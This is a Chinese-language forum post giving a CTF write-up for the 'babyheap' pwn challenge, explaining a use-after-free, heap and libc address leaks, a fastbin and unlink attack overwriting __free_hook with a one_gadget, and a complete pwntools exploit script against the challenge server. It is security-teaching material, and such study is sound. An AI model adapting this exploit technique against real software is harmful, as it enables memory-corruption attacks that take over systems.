学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-8-31 17:31:41 | 查看: 5291| 回复: 0

相关题目:

♦ 1st-babyheap


前言  我看社区已经有人在发Writeup了,但是也不是特别全。其中 Pwn 部分少了个babyheap的题解。我在这里稍微补充下。
0x01 分析  题目四个功能,分别是new,change,show和delete。漏洞很明显在于delete函数。

wdb_2018_pwn_1st-babyheap

wdb_2018_pwn_1st-babyheap
  在这个函数中,存在指针未置零的情况,可以造成UAF 。
  其次有几个注意的点 块只能新建9块,以及新建块的大小为 0x20 ,不可控。

wdb_2018_pwn_1st-babyheap

wdb_2018_pwn_1st-babyheap
  编辑一个块最多只能三次。

wdb_2018_pwn_1st-babyheap

wdb_2018_pwn_1st-babyheap
0x02 利用思路
root@8593c2d5ac83:/home/wd/babyheap/babyheap# checksec babyheap
  • '/home/wd/babyheap/babyheap/babyheap' Arch:     amd64-64-little RELRO:    Full RELRO Stack:    Canary found NX:       NX enabled PIE:      No PIE (0x400000)

  •   由于块的大小是 0x20 ,可以想到是经典的fastbins attack + uaf。
    第一步:思考 如何泄露出 libc 地址  由于我们需要最终需要知道 libc base 来构造最后的getshell payload。那么第一个思路是通过fake 一个chunk,让它分配到 unsortedbin 中,我们知道当一个chunk 在 unsortedbin中的时候,它的fd会指向 main_arena

    wdb_2018_pwn_1st-babyheap

    wdb_2018_pwn_1st-babyheap
      由于 UAF 漏洞的存在,我们这个时候去 show 这个chunk 的时候程序会将他 fd的内容打印出来。这个时候就能泄露出 libc地址。
      但是要fake 一个chunk我们需要heap的地址。所以我们首先去 泄露  heap 地址。
    第二步 泄露 heap 地址。  由于fastbins 的特性,我们连续 free 两个chunk,这个时候会产生一个 fastbins 的freelist。

    wdb_2018_pwn_1st-babyheap

    wdb_2018_pwn_1st-babyheap
      这个时候 0x603000 的chunk 的fd 指向 0x603030 ,我们只需要 show 一下 0x603000这个chunk,就能得到heap地址:0x603030。注意,puts 存在截断,如果你是 0x603030  --> 0x603000 会存在 leak 不出来的问题。所以注意 free 的顺序。
    Delete(1)
    Delete(0)
    #leak heap addr
    Show(0)
    heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
    log.success('heap_addr:{}'.format(hex(heap_addr)))

    第三步 泄露libc 地址  要 fake 个chunk 然后让它 free 之后被放到 unsortedbin ,我们可以考虑 fastbins attack + overlap 。
      我们通过编辑 chunk 0 的 fd 让他指向 原本 fd-0x20的位置。当我们把 chunk 0 和 chunk 1 重新申请回来后。(fastbins的特性:后释放的,先被使用)
    Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
    
    Add(6, p64(0) + p64(0xa1) + '\n')
    Add(7, p64(0) + p64(0xa1) + '\n')

      并修改 size 和fd等等。由于,chunk 6的fd被修改了,所以我们去修改 chunk 7的时候,其实就是在修改我们正常chunk的size。
    0x603020:       0x0000000000000000      0x0000000000000031       <-- fake chunk
    0x603030:       0x0000000000000000      0x00000000000000a1       <--- fake chunk size
    0x603040:       0x0000000000000000      0x0000000000000000
    0x603050:       0x0000000000000000      0x0000000000000000
    0x603060:       0x0000000000000000      0x0000000000000031
    0x603070:       0x4343434343434343      0x0000000000000000
    0x603080:       0x0000000000000000      0x0000000000000000
    0x603090:       0x0000000000000000      0x0000000000000031
    0x6030a0:       0x4444444444444444      0x0000000000000000
    0x6030b0:       0x0000000000000000      0x0000000000000000

      伪造后的 chunk 由于我们设置了 size 变大了,所以默认会把后面的 chunk 给吞并。我们 在设置基本块的时候要注意这个问题。
      这个时候系统会认为 0x603020 这个伪造的 chunk 是存在的。所以当我们去 delete chunk 1。(由于chunk 1是后释放,所以申请到的chunk 7 指向的其实是同一个块)。系统会把 0x603020 放到unsortedbin中。(unsortedbin 不是fastbins 且不与 top chunk 紧邻,free后会被放置到unsortedbin中)
      紧接着,我们只需要把这个 chunk free 了。

    wdb_2018_pwn_1st-babyheap

    wdb_2018_pwn_1st-babyheap

      然后show,就能获得 libc base。
    Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
    
    Add(6, p64(0) + p64(0xa1) + '\n')
    Add(7, p64(0) + p64(0xa1) + '\n')
    
    
    # leak libc
    Delete(1)
    Show(1)
    libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
    log.success('libc_addr:{}'.format(hex(libc_address)))

    第四步 通过unlink + uaf  来获得一个任意地址写  我们现在已经有了基本的信息。思路是修改 freehook 成one_gadget 。然后进行一次free就能getshell。
      要达到这种效果,我们需要一个任意地址写。
      我们之前 free chunk 1 来获得一个libc 地址,这个时候如果顺便同过 unlink 来获得一个 任意地址写不上刚好么。所以
    Add(0,'AAAAAAAA\n')
    Add(1,'BBBBBBBB\n')
    Add(2,'CCCCCCCC\n')
    Add(3,'DDDDDDDD\n')
    
    
    Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
    Add(5, p64(0x30) + p64(0x30) + '\n')

      chunk 2 chunk 3 是用来修改 chunk1 size 让 chunk 1 来吞并的。当 free chunk 1的时候,我们构造好 unlink 的前提(现代 unlink 有检查。)fake 的 fd  == 0x602080-0x18 刚好是 ptr[] 数组中,chunk 1 的位置。也是之后 new chunk 4 的位置。
      当通过unlink 后我们得到一个 chunk 指向了 chunk1 同时 chunk 4 也指向了 chunk1。 这个时候如果我们队chunk 1这块内存 写入 free_hook 的地址,然后再通过uaf 修改这个地址所指的值,写成一个 one_gadget 就能getshell。
    Edit(4,p64(libc_address + 0x3c67a8) + '\n')
    Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')
    
    
    Delete(1)

      效果如下:

    wdb_2018_pwn_1st-babyheap

    wdb_2018_pwn_1st-babyheap
    0x03 完整 exp
    #coding:utf-8
    
    
    from mypwn import *
    
    
    p,elf,libc = init_pwn('./babyheap','./libc.so.6',remote_detail = ('106.75.67.115',9999),is_env = False)
    breakpoint = [0x400D59,0x400D65,0x0400D7D,0x400D71]
    malloc_hook = 0x3C4B10
    one_gadget = 0x4526A
    
    def Add(index, data):
    p.recvuntil('Choice:')
    p.sendline('1')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)
    
    def Edit(index, data):
    p.recvuntil('Choice:')
    p.sendline('2')
    p.recvuntil('Index:')
    p.sendline(str(index))
    p.recvuntil('Content:')
    p.send(data)
    
    def Show(index):
    p.recvuntil('Choice:')
    p.sendline('3')
    p.recvuntil('Index:')
    p.sendline(str(index))
    
    def Delete(index):
    p.recvuntil('Choice:')
    p.sendline('4')
    p.recvuntil('Index:')
    p.sendline(str(index))
    
    
    
    Add(0,'AAAAAAAA\n')
    Add(1,'BBBBBBBB\n')
    Add(2,'CCCCCCCC\n')
    Add(3,'DDDDDDDD\n')
    
    
    Add(4, p64(0) + p64(0x31) + p64(0x602080 - 0x18) + p64(0x602080 - 0x10))
    Add(5, p64(0x30) + p64(0x30) + '\n')
    
    
    
    Delete(1)
    Delete(0)
    
    #leak heap addr
    Show(0)
    heap_addr = u64(p.recvline()[ : -1].ljust(8, '\x00')) - 0x30
    log.success('heap_addr:{}'.format(hex(heap_addr)))
    
    # # leak libc
    # init_debug(p,breakpoint)
    # raw_input('wait to debug')
    Edit(0, p64(heap_addr + 0x20) + p64(0) + p64(0) + p64(0x31))
    
    Add(6, p64(0) + p64(0xa1) + '\n')
    Add(7, p64(0) + p64(0xa1) + '\n')
    
    
    # leak libc
    Delete(1)
    Show(1)
    libc_address = u64(p.recvline()[ : -1].ljust(8, '\x00'))-0x3c4b78
    log.success('libc_addr:{}'.format(hex(libc_address)))
    
    
    
    
    init_debug(p,breakpoint)
    raw_input('wait to debug')
    Edit(4,p64(libc_address + 0x3c67a8) + '\n')
    Edit(1, p64(libc_address + one_gadget)[:-1] + '\n')
    
    
    Delete(1)
    
    p.interactive()



    温馨提示:
    1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
    2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
    3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
    论坛交流群:672619046

    小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

    GMT+8, 2024-4-20 19:42 , Processed in 0.104017 second(s), 43 queries .

    Powered by Discuz! X3.4

    Copyright © 2001-2021, Tencent Cloud.

    快速回复 返回顶部 返回列表